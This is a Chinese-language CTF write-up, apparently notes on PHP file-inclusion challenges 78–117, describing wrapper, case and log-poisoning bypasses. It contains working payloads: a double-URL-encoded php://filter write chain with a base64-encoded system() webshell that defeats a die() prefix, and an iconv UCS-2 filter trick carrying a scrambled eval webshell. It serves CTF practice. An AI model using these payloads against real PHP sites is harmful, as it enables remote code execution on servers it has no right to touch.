目录
文件包含
78-79:最基础的文件包含,使用伪协议,大小写绕过或者通配符绕过,再或者使用其他方法
编辑80-81:可采用日志文件绕过或者大小写绕过(81只能日志文件绕过)
####80-86:因为条件竞争只在晚上十一点半后开启到早上七点多,所以暂时先不做
87:这里要利用到php伪协议的特性
88:使用data协议通过base64编码绕过
116:通过binwalk扫描文件,然后在用foremost 文件名 -o 要输出的文件 精准输出需要的文件####有时候binwalk不够准确
117:还是使用php伪协议的特性
文件包含
78-79:最基础的文件包含,使用伪协议,大小写绕过或者通配符绕过,再或者使用其他方法
80-81:可采用日志文件绕过或者大小写绕过(81只能日志文件绕过)
日志文件路径:前提是可以访问到日志文件
/
var
/log
/apache/access.log/var/log/apache2/access.log
/var/log/nginx/access.log
大小写绕过,例如PHP://filter
####80-86:因为条件竞争只在晚上十一点半后开启到早上七点多,所以暂时先不做
87:这里要利用到php伪协议的特性
####看不懂的话可以去看这篇文章来了解php的特性谈一谈php://filter的妙用 | 离别歌 (leavesongs.com)
这里使用urldecode来解码file,那么传入数据的时候就要进行url编码
那么这些过滤就没用了不用管了
payload:
原:file=php://filter/write=convert.base64-decode/resource=a.php
url转换两次后:####浏览器会先自动url解码一次,第二次则是urldecode
file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%31%25%32%65%25%37%30%25%36%38%25%37%30
原content=<?php eval(system($_GET[1]));?>
content=aaPD9waHAgZXZhbChzeXN0ZW0oJF9HRVRbMV0pKTs/Pg==
利用php伪协议的特性
- base64指定只能只用a-z A-Z 0-9的字符
所以<?php die('大佬别秀了');?>就会变成phpdie,这里就会直接让他的die无效化- 应为base64只能处理4的倍数的字符串,所以需要在前面多加两个字符
最后的连接起来的效果应该是phpdieaa和PD9waHAgZXZhbChzeXN0ZW0oJF9HRVRbMV0pKTs/Pg==
88:使用data协议通过base64编码绕过
116:通过binwalk扫描文件,然后在用foremost 文件名 -o 要输出的文件 精准输出需要的文件####有时候binwalk不够准确
过滤以下协议,当没有填入file函数的时候file=sp2.mp4
117:还是使用php伪协议的特性
payload:
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php
从UCS-2LE
编码转换为UCS-2BE
编码,这个过滤器需要php支持iconv
通过这样可以将<?php die();?>打乱
而contents传入的数据只需要提前以UCS-2LE编码传入转换回来就可以
contents=?<hp pvela$(P_SO[T]a;)>?